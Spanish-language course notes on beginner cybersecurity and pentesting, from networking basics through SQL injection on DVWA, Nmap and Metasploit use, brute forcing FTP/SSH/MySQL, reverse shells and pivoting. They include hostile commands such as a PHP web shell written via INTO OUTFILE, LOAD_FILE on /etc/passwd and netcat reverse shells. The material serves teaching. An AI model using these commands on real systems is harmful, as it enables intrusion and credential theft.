CURSO DE CIBERSEGURIDAD DESDE CERO

Conceptos Fundamentales de Ciberseguridad y Herramientas de Pentesting

1. Conceptos Básicos de Redes

1.1. Configuración de Interfaz de Red y Comandos Básicos

- **IPconfig /all**: Comando de Windows para ver información detallada de las interfaces de red, incluyendo:
- **Dirección MAC**: La dirección física del dispositivo.
- **Dirección IP**: La dirección lógica del dispositivo en la red (ej., 10.3.3.5).
- Otros conceptos como máscara de subred, puerta de enlace, servidores DHCP y servidores DNS.

1.2. Máscara de Red

- Indica la cantidad máxima de dispositivos que caben en una red.
- **Representación Decimal**: Cuatro números separados por puntos, valores entre 0 y 255.
- 0.0.0.0: Todas las direcciones IP posibles.
- 255.255.255.255: Una red de un solo equipo.
- **Representación CIDR**: Una barra y un número entre 0 y 32 (ej., /24).
- /0: Todas las direcciones IP posibles.
- /32: Una sola dirección IP.
- **Máscaras Comunes**:
- 255.255.255.0 o /24: Redes de 256 dispositivos, común en routers domésticos.
- 255.255.0.0 o /16: Redes de hasta 65,536 dispositivos.
- **Cálculo del Tamaño Máximo de Red**: 2^(32 - Máscara de Red en formato CIDR).
- Ejemplo: /24 equivale a 2^(32-24) = 2^8 = 256 dispositivos.
- **Traducción CIDR a Decimal**: Requiere transformación a binario (grupos de 8 bits).

1.3. DHCP (Dynamic Host Configuration Protocol)

- Servidor que asigna automáticamente direcciones IP y otra configuración de red a los equipos. Los equipos solo necesitan conectarse a la red para recibir su configuración.

1.4. DNS (Domain Name System)

- **Servidor de Nombres de Dominio**: "Agendas" que mapean nombres de dominio (ej., www.google.es) a direcciones IP.
- "Los seres humanos no podemos recordar todas las direcciones IP a las que nos tenemos que conectar".
- Permite a los equipos conectarse a servidores usando nombres fáciles de recordar en lugar de direcciones IP.

1.5. Estructura de Red Doméstica

- **Router**: Actúa como puerta de enlace, servidor DHCP y servidor DNS.
- Asigna IPs privadas a los equipos de la red y se conecta a internet.

1.6. IP Pública vs. IP Privada

- **IP Privadas**: Usadas a nivel local (casas, empresas). No accesibles directamente desde internet.
- Rangos convencionales:
- 10.0.0.0/8 (muy común en hogares, subrangos como /16 o /24 más habituales).
- 172.16.0.0/12 (usado en entornos virtuales).

- 192.168.0.0/16 (rangos empresariales, pueden ser /16 o /24).
- **Advertencia**: "jamás hay que utilizar rangos de direcciones IP públicas en redes locales ya que puede generar problemas en los dispositivos internos de la red".
- **IP Públicas**: Accesibles desde cualquier parte de internet, donde se alojan páginas web, servidores, etc.
- **Rango Especial de Loopback**: 127.0.0.0/8 - direcciones que los dispositivos usan para dirigir el tráfico hacia sí mismos.

1.7. NAT (Network Address Translation)

- **Propósito**: Soluciona el problema de que los equipos internos de una red local no son accesibles por defecto desde internet, permitiendo que múltiples equipos compartan una misma IP pública para salir a internet.
- **Funcionamiento**: El router "traduce" las IPs privadas de los equipos internos a su propia IP pública al enviar tráfico a internet. Mantiene un registro de las conexiones para redirigir las respuestas correctamente.
- **Configuración para Servidores Caseros (Port Forwarding / Natear Puertos)**:
- Requiere una IP interna fija para el servidor.
- Idealmente, una IP pública fija o un dominio dinámico (DynDNS).
- Configurar el router para redirigir un puerto público a un puerto específico de una IP privada interna.
- "el puerto que nosotros abramos en la interfaz pública no tiene por qué coincidir con el puerto donde está escuchando el servidor web".

1.8. Firewalls y Subredes Empresariales

- **Firewall**: Dispositivo conectado a internet, "un router vitaminado".
- Permite configurar redes distintas con direccionamiento IP diferente en cada puerto Ethernet, a diferencia de un router normal.
- Facilita la división de la red en subredes para controlar accesos entre ellas.
- **Organización Básica de Red Empresarial**: Puede dividirse en cuatro grupos o subredes principales.

2. Bases de Datos SQL e Inyección SQL

2.1. Concepto de Base de Datos y SQL

- **Base de Datos**: Servicio que almacena datos de manera ordenada, permitiendo insertarlos, editarlos y consultarlos de forma sencilla.
- **SQL (Structured Query Language)**: Lenguaje y estructura utilizada por las bases de datos para guardar, editar y consultar información.
- **Estructura de SQL**: Se compone de tablas que guardan información. Las tablas pueden estar relacionadas entre sí (ej., tabla personas y perros).

2.2. Tipos de Consultas/Acciones SQL

- **Definición de Datos (DDL)**:
- CREATE: Creación de tablas.
- ALTER: Modificación de la estructura de una tabla.
- DROP: Eliminación de una tabla.
- TRUNCATE: Borra todo el contenido de una tabla.
- **Tratamiento de Datos (DML)**: (Foco del pentesting, ya que pueden ser vulneradas)
- INSERT: Inserta una o varias filas en una tabla.
- Estructura: INSERT INTO <nombre_tabla> (<columna1>, <columna2>) VALUES (<valor1>, <valor2>);

- SELECT: Busca una o varias filas de una tabla.
- Estructura: SELECT <columna1>, <columna2> FROM <nombre_tabla> WHERE <condición>;
- UPDATE: Actualiza una o varias columnas de una o varias filas.
- Estructura: UPDATE <nombre_tabla> SET <columna1> = <nuevo_valor> WHERE <condición>;
- DELETE: Elimina una o varias filas de una tabla.
- Estructura: DELETE FROM <nombre_tabla> WHERE <condición>;

2.3. Servidores de Bases de Datos SQL

- Una base de datos es un servicio que se ejecuta en un puerto de un servidor, usualmente con una IP interna por seguridad.
- **MySQL**: Puerto TCP 3306.
- **SQL Server (MSSQL)**: Puerto TCP 1433.
- **Oracle SQL**: Puerto TCP 1521.

2.4. Inyección SQL (DVWA Ejemplo)

- **Vulnerabilidad**: Un parámetro de entrada de usuario sin filtrar se introduce directamente en una consulta SQL, permitiendo al atacante modificar la consulta original.
- **Detección**:
- Introducir una comilla simple (') en el campo de entrada. Si la aplicación devuelve un error de MySQL, es probable que sea vulnerable.
- **Confirmación**: Usar condiciones AND que siempre son verdaderas (' AND '1'='1) o siempre falsas (' AND '1'='2) para ver si la aplicación responde de manera diferente.
- **Explotación (Obtención de Información)**:
- **ORDER BY**: Permite inferir el número de columnas de la consulta original.
- **UNION SELECT**: Combina los resultados de una consulta legítima con una consulta maliciosa para extraer información.
- **Funciones y Variables Predefinidas (MySQL)**:
- user(): Devuelve el usuario actual que ejecuta las consultas.
- database(): Devuelve la base de datos actual.
- **Extracción de Credenciales**: Utilizar UNION SELECT para obtener nombres de usuario (user) y contraseñas (password) de la tabla users.
- **Contraseñas Hashed**: Las contraseñas en bases de datos se guardan codificadas o cifradas mediante un hash (ej., MD5). MD5 es obsoleto y vulnerable a ataques de fuerza bruta.
- Herramientas como crackstation.net pueden descifrar hashes débiles mediante diccionarios o tablas arcoíris.
- "hemos comprobado que una inyección SQL es bastante peligrosa y relativamente fácil de explotar".

2.5. Acceso al Sistema de Archivos a Través de SQL

- **SELECT LOAD_FILE()**: Permite leer el contenido de ficheros internos del servidor si el usuario de la base de datos tiene permisos de lectura y se conoce la ruta del archivo (ej., /etc/passwd).
- **Exposición de Información (PHPinfo.php)**: Ficheros como phpinfo.php a menudo exponen rutas internas del servidor y otra información sensible que

puede ser utilizada por atacantes. Se recomienda eliminarlos después de usarlos.

- **Escritura de Ficheros (Shell Web)**:
- **SELECT ... INTO OUTFILE**: Permite crear ficheros en el servidor en las carpetas donde el usuario de MySQL tenga permisos de escritura.
- Permite subir un shell web sencillo (ej., un PHP que ejecuta comandos pasados por parámetro) para obtener ejecución de comandos en el servidor.
- "consiguiendo unas credenciales por defecto de My SQL podemos llegar a ejecutar comandos en un servidor web".

3. Escaneo de Puertos con Nmap y Zmap

3.1. Introducción a Nmap

- **Escáner de puertos por excelencia**: Gratuito, de código abierto y multiplataforma (Linux, Windows, Mac).
- Dispone de más de 600 scripts (plugins) para obtener información adicional de los servicios detectados.
- **Advertencia de Uso**: "el contenido de este vídeo es para fines exclusivamente divulgativos y con el objetivo de protegerse ante este tipo de ataques por lo que solo se recomienda realizar pruebas en entornos controlados".

3.2. Comandos Básicos de Nmap

- **Nmap -V**: Muestra la versión de Nmap.
- **Nmap -h**: Muestra la ayuda y opciones.
- **Escaneo Básico**: Nmap <IP> (escanea los 1000 puertos más comunes).
- Muestra puertos abiertos, cerrados y el estado del host.
- **Escaneo de Redes/Rangos**:
- Nmap <red/máscara> (ej., 10.255.255.0/24).
- Nmap <IP_inicio>-<IP_fin> (ej., 10.255.255.1-20).
- Nmap <IP1> <IP2> (varias IPs).
- Nmap -iL <fichero_con_ips> (leer IPs de un archivo).
- **Detección de Hosts Activos (-Pn)**:
- Nmap por defecto lanza un ping para ver si la IP está activa antes de escanear.
- "los equipos con Windows por defecto el ping está desactivado".
- Nmap -Pn <IP>: Escanea todos los puertos de la IP independientemente de si contesta al ping. Útil para Windows, pero aumenta el tiempo de escaneo en rangos grandes.
- **Información Detallada (-v)**: Muestra más detalles del escaneo.
- **Escaneo Rápido (-F)**: Escanea los 100 puertos más comunes.
- **Escaneo de Todos los Puertos (-p-)**: Nmap -p- <IP> escanea los 65,535 puertos. Aumenta significativamente el tiempo de escaneo.
- **Escaneo de Puertos Específicos (-p)**:
- Nmap -p 22,80,443 <IP> (puertos separados por comas).
- Nmap -p 80-90 <IP> (rango de puertos).
- **Detección de Versión de Servicio (-sV)**: Nmap -sV <IP> intenta detectar el tipo y versión del servicio en cada puerto abierto.
- **Ejecución de Scripts por Defecto (-sC)**: Nmap -sC <IP> lanza los scripts por defecto asociados a los servicios detectados.
- La opción -A agrupa -sV, -sC, detección de SO y traceroute.

- **Guardar Resultados (-oA)**: Nmap -oA <nombre_fichero> guarda los resultados en tres formatos (Nmap, XML, Gnmap).

3.3. Zmap (Interfaz Gráfica de Nmap en Windows)

- Interfaz gráfica de Nmap en Windows, facilitando la ejecución de comandos.
- **Perfiles de Escaneo**: Permite seleccionar perfiles predefinidos (ej., Regular Scan, Intense Scan, Intense Scan All TCP Ports, Intense Scan no ping).
- **Edición de Comandos**: Se puede editar el comando directamente en la interfaz.
- **Visualización de Resultados**: Muestra puertos abiertos, servicios, detección de SO, traceroute, etc., en pestañas.
- **Guardar/Cargar Escaneos**: Permite guardar y cargar escaneos realizados para su posterior análisis.

4. Servicios Comunes en Pentesting (FTP, SSH, MySQL)

4.1. FTP (File Transfer Protocol)

- **Características**: Permite la transferencia de ficheros.
- No utiliza cifrado, la comunicación va en claro. "no se recomienda usar este tipo de servicio para intercambiar ficheros por norma general y mucho menos de manera pública".
- Puerto TCP por defecto: 21.
- **Enumeración con Nmap**:
- Nmap -p 21 -sV -sC <IP>: Detecta la versión y ejecuta scripts de FTP (ej., ftp-anon para verificar acceso anónimo, ftp-brute para fuerza bruta).
- **Enumeración con Metasploit**:
- auxiliary/scanner/ftp/ftp_version: Averigua la versión del servicio.
- auxiliary/scanner/ftp/anonymous: Comprueba si se permite el inicio de sesión anónimo.
- auxiliary/scanner/ftp/ftp_login: Realiza ataques de fuerza bruta.
- **Credenciales por Defecto/Débiles**: Frecuentemente se encuentran usuarios con contraseñas por defecto o vacías (ej., user:user).
- **Comando creds en Metasploit**: Muestra las credenciales válidas encontradas.

4.2. SSH (Secure Shell)

- **Características**: Protocolo que permite acceso remoto cifrado a otro equipo.
- Cifrado asimétrico (clave pública/privada).
- Puerto TCP por defecto: 22.
- Comúnmente usado en Linux, incluido en Windows 10+.
- **Autenticación**:
- **Contraseña**: ssh user@IP y se introduce la contraseña.
- **Clave Pública/Privada**: Se añade la clave pública del cliente al archivo authorized_keys del usuario en el servidor. Permite la conexión sin introducir contraseña. "muy útil para no tener que estar introduciendo la contraseña todo el rato pero como todo en La vida se puede usar de forma maliciosa".
- **Enumeración con Nmap**:
- Nmap -p 22 -sV -sC <IP>: Detecta la versión y ejecuta scripts de SSH.
- Scripts adicionales (ssh-hostkey, ssh-auth-methods, ssh-algorithms): Enumeran algoritmos de cifrado, métodos de autenticación y claves del servidor.
- **Herramienta SSH Audit**: ssh-audit <IP> lista algoritmos de cifrado recomendados para eliminar por problemas de seguridad.

- **Fuerza Bruta con Nmap**: Nmap -p 22 -sV --script ssh-brute <IP> intenta adivinar credenciales.
- **Fuerza Bruta con Metasploit**: auxiliary/scanner/ssh/ssh_login ofrece opciones variadas para ataques de fuerza bruta (usuarios, contraseñas, ficheros).

4.3. MySQL

- **Servidor de Bases de Datos**: Utiliza SQL. Puerto por defecto: 3306.
- **Enumeración con Nmap**:
- Nmap -p 3306 -sV -sC <IP>: Detecta la versión y ejecuta scripts de MySQL (ej., mysql-info).
- Scripts para fuerza bruta (mysql-brute, mysql-empty-password).
- **Enumeración con Metasploit**:
- auxiliary/scanner/mysql/mysql_version: Averigua la versión.
- auxiliary/scanner/mysql/mysql_login: Realiza ataques de fuerza bruta.
- **Credenciales por Defecto/Débiles**: Comúnmente se encuentran cuentas root o guest con contraseñas vacías.
- **Conexión a MySQL**: mysql -h <IP> -u <usuario> -p.
- **Comandos MySQL Post-Explotación**:
- SELECT user FROM mysql.user;: Lista usuarios de la base de datos.
- SELECT schema_name FROM information_schema.schemata;: Lista bases de datos.
- USE <nombre_bd>;: Selecciona una base de datos.
- SELECT table_name FROM information_schema.tables WHERE table_schema='<nombre_bd>';: Lista tablas en una base de datos.
- SELECT <columnas> FROM <tabla>;: Muestra contenido de columnas en una tabla (ej., user, password de la tabla users).
- **Ejecución de Comandos en el Sistema a Través de MySQL**:
- SELECT LOAD_FILE('/etc/passwd');: Lee ficheros del sistema (si el usuario de MySQL tiene permisos).
- SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/hunter.php';: Crea un shell web (backdoor PHP) en el servidor web si el usuario de MySQL tiene permisos de escritura en el directorio web. Permite ejecutar comandos remotos a través de una URL.
- "consiguiendo unas credenciales por defecto de My SQL podemos llegar a ejecutar comandos en un servidor web".

5. Shells Remotas y Pivoting

5.1. Shell Directa vs. Shell Reversa

- **Objetivo de Pentesting**: Ejecutar comandos en el sistema objetivo, idealmente con permisos de administrador.
- **Shell Directa (Bind Shell)**: La máquina objetivo abre un puerto y escucha conexiones entrantes. El atacante se conecta a ese puerto para obtener una shell.
- Comando Netcat: nc -lnvp <puerto> -e /bin/bash.
- **Limitación**: Requiere que el firewall del objetivo permita la conexión entrante al puerto abierto.
- **Shell Reversa (Reverse Shell)**: La máquina objetivo inicia la conexión hacia la máquina del atacante (que está a la escucha en un puerto).
- Máquina Atacante: nc -lnvp <puerto>.

- Máquina Objetivo: nc <IP_atacante> <puerto_atacante> -e /bin/bash.
- **Ventaja**: Evita firewalls que bloquean conexiones entrantes al objetivo, ya que el tráfico saliente suele estar permitido. "Es la forma habitual de proceder de los atacantes cuando por ejemplo mandan un fishing".

5.2. Metasploit Framework

- **Entorno de Explotación**: Herramienta potente para desarrollar y ejecutar exploits.
- **Workspace**: Permite organizar la información recopilada por proyectos (workspace -a <nombre>).
- **Módulos**: Contiene miles de módulos (exploits, payloads, auxiliares, etc.).
- search <término>: Busca módulos.
- use <módulo>: Carga un módulo.
- options: Muestra las opciones de configuración del módulo.
- set <opción> <valor>: Configura una opción.
- setg <opción> <valor>: Configura una opción globalmente.
- run o exploit: Ejecuta el módulo.
- **Handler**: Módulo exploit/multi/handler se utiliza para escuchar conexiones inversas (reverse shells).
- set payload <tipo_payload>: Configura el tipo de shell a recibir (ej., php/meterpreter/reverse_tcp).
- set LHOST <IP_atacante>: IP del atacante.
- set LPORT <puerto_atacante>: Puerto del atacante a la escucha.
- set ExitOnSession false: Mantiene el handler escuchando para nuevas conexiones.
- exploit -j: Ejecuta el handler en segundo plano.
- **Msfvenom**: Herramienta de Metasploit para generar payloads maliciosos.
- msfvenom -p <payload> LHOST=<IP> LPORT=<puerto> -f <formato> -o <salida>: Genera el código para la shell.
- **Meterpreter**: Shell avanzada de Metasploit que ofrece numerosas funcionalidades (ej., sysinfo, pwd, ls, upload, download).
- sessions: Muestra las sesiones activas.
- sessions -i <ID>: Interactúa con una sesión.
- sessions -u <ID>: Actualiza una sesión a un meterpreter más estable.
- **portfwd en Meterpreter**: Permite crear túneles o redirecciones de puertos directamente desde la sesión de Meterpreter.
- portfwd add -L <puerto_local> -P <puerto_remoto> -R <IP_remota> (directo).
- portfwd add -L <puerto_local_atacante> -R <IP_objetivo>:<puerto_objetivo> (reverso, desde el objetivo al atacante).
- "Metasploit... ¿quién es el listo que es capaz de hacer esto sin utilizar metasploit y creando su propio script o comandos?".

5.3. Pivoting (Movimientos Laterales)

- **Concepto**: Aprovechar una máquina comprometida para acceder a otras redes o equipos a los que inicialmente no se tenía acceso.
- **Escenario Común**: Atacante en "Internet" (red Cali) accede a un servidor expuesto en la DMZ de una empresa (Ubuntu Server 01) y, desde allí, busca acceder a una red interna (Ubuntu Server 02) que no es accesible directamente desde "Internet".

- **Métodos de Pivoting**:
- **Túnel SSH (Port Forwarding)**:
- **Directo (-L)**: Redirige un puerto local del atacante a un puerto de un equipo remoto a través de un servidor SSH intermedio. ssh -L <IP_local>:<puerto_local>:<IP_destino>:<puerto_destino> user@<servidor_ssh>.
- **Reverso (-R)**: Abre un puerto en el servidor SSH intermedio y lo redirige a un puerto de la máquina del atacante. ssh -R <IP_intermedio>:<puerto_intermedio>:<IP_atacante>:<puerto_atacante> user@<servidor_ssh>.
- Puede encadenarse para saltar múltiples redes.
- **Pivoting con Shells Directas/Reversas anidadas**:
- Si se obtiene una shell en el Ubuntu Server 01, se puede usar para lanzar una shell directa en el Ubuntu Server 02 (si el firewall lo permite).
- Si no, se puede usar el túnel SSH para redirigir el tráfico de una shell directa/reversa a través del Ubuntu Server 01.
- **Pivoting con Meterpreter (portfwd)**: Crear redirecciones de puertos directamente desde la sesión de Meterpreter para acceder a redes internas.

6. VPN y ngrok (Acceso a Puertos Internos)

6.1. VPN (Virtual Private Network)

- **Concepto**: Crea una "red privada virtual" entre el equipo del usuario y un servidor VPN. Todo el tráfico del usuario pasa a través del servidor VPN.
- **Funcionamiento**: El equipo se conecta al router local, y luego al servidor VPN a través de su IP pública. El servidor VPN le asigna una IP virtual. El tráfico a internet sale desde la IP pública del servidor VPN.
- **Marketing vs. Realidad**:
- **Navegación Segura**: Cierto hasta el servidor VPN; después el tráfico va igual.
- **Anonimato Total**: Cierto para el destino final y el ISP, pero el servidor VPN sí conoce tu IP real.
- **Cifrado de Nivel Militar**: Se refiere a la robustez del canal cifrado; mayor cifrado implica mayor lentitud.
- **Política de No Logs**: "depende de la confianza de los servicios VPN". "si están tan empeñados en vender servicios VPN a un bajo precio a cambio de nada a mí me suena cuanto menos sospechoso".
- **Recomendación**: Para la mayoría, el uso de una VPN no es necesario, salvo para VPN corporativas, acceder a contenido bloqueado por geolocalización, o conexiones en redes Wi-Fi públicas inseguras. Se recomienda montar una VPN casera para tener control total.

6.2. ngrok

- **Propósito**: Permite exponer servicios locales (ej., un servidor web) a internet de forma sencilla, sin necesidad de configurar redirecciones de puertos en el router o preocuparse por IPs públicas dinámicas.
- **Funcionamiento**: Descarga la aplicación de ngrok, la ejecuta y esta se conecta a los servidores de ngrok. ngrok crea una URL y un puerto públicos en sus servidores y redirige el tráfico a un puerto local del equipo del usuario.
- **Ventajas**: No requiere conocimientos de redes o configuración de routers, maneja IPs dinámicas.

- **Instalación y Uso (Linux)**:
- Registro gratuito en su web para obtener un token.
- Descargar y descomprimir el ejecutable.
- Configurar el token: ./ngrok authtoken <tu_token>.
- Exponer un servicio local (ej., un mini servidor web en el puerto 8000): ./ngrok http 8000.
- **Dominio Estático**: ngrok permite crear un dominio estático para el túnel.
- **Monitoreo**: ngrok proporciona una interfaz web local para monitorear las conexiones y peticiones recibidas a través del túnel público.
- **Protocolos**: Soporta http y tcp. Útil para exponer servicios como SSH a internet.